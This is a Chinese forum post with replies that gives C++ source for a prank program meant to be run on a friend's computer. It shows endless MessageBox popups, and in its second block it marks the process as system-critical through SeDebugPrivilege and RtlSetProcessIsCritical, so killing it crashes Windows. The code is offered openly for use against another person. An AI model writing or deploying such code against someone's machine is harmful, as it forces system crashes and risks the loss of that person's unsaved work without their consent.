猫史档案馆


如何做出一个关不掉的小程序去整蛊你的朋友

用户:HeadingForSourceHeadingForSource查看:0 回复:3 评论:0 创建时间:2023-05-29T20:54:38


代码如下:

#include <Windows.h>
#include <cstdio>
#include <cstdlib>
#include <pthread.h>
#include <iostream>
using namespace std;
int main(){for(int i=0;i>=0;i++) MessageBox(NULL,"关不掉我哈哈哈哈哈哈哈哈哈哈哈","气喵你",MB_OK);} 
当然,如果你的朋友懂一点电脑,会使用任务管理器或者cmd结束程序的话,这个代码就十分甚至九分的不管用了。 但是我们这里有备用方案:
#include <Windows.h>
#include <cstdio>
#include <cstdlib>
#include <pthread.h>
#include <iostream>

#include <mmsystem.h>
#pragma comment(lib, "winmm.lib") 
#pragma comment(lib, "gdi32.lib")
using namespace std;

HCRYPTPROV prov;
BOOL SetPrivilege(void)
{
	HANDLE hToken; 
	TOKEN_PRIVILEGES NewState; 
	LUID luidPrivilegeLUID; 
	if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)||!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidPrivilegeLUID)) 
	{ 
		return FALSE; 
	} 
	NewState.PrivilegeCount = 1; 
	NewState.Privileges[0].Luid = luidPrivilegeLUID; 
	NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
	if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
	{
		return FALSE;
	}
	return TRUE;
}
int watchdog(int escape){
	HMODULE hDll = GetModuleHandle("ntdll.dll");
	typedef VOID (WINAPI * type_RtlSetProcessIsCritical)(BOOLEAN, PBOOLEAN, BOOLEAN);
	typedef VOID (WINAPI * type_RtlSetThreadIsCritical)(BOOLEAN, PBOOLEAN, BOOLEAN);
	type_RtlSetProcessIsCritical RtlSetProcessIsCritical = (type_RtlSetThreadIsCritical)GetProcAddress(hDll, "RtlSetProcessIsCritical");
	type_RtlSetProcessIsCritical RtlSetThreadIsCritical = (type_RtlSetThreadIsCritical)GetProcAddress(hDll, "RtlSetThreadIsCritical");
	bool bSuccess = SetPrivilege();
	if(!bSuccess) return 0;
	if(escape==NULL){
		RtlSetProcessIsCritical(TRUE, NULL, FALSE);
		RtlSetThreadIsCritical(TRUE, NULL, FALSE);}
	if(escape==1){
		RtlSetProcessIsCritical(FALSE, NULL, FALSE);
		RtlSetThreadIsCritical(FALSE, NULL, FALSE);
	}
}
int main(){watchdog(0);
    for(int i=0;i>=0;i++) MessageBox(NULL,"关不掉我哈哈哈哈哈哈哈哈哈哈哈","气喵你",MB_OK);} 

这段代码常规方法都已经不行了,十分的管用啊

如果你想安全的结束,可以修改watchdog参数为1

运行前保存好你的工作!


回复

上一页1 页 / 共 1下一页
amcplayeramcplayer

c++?

点赞0


评论


HeadingForSourceHeadingForSource

点赞0


评论


owugi7s6awaowugi7s6awa

我用vscode里的runcode插件,把vscode关了就完事~

点赞0


评论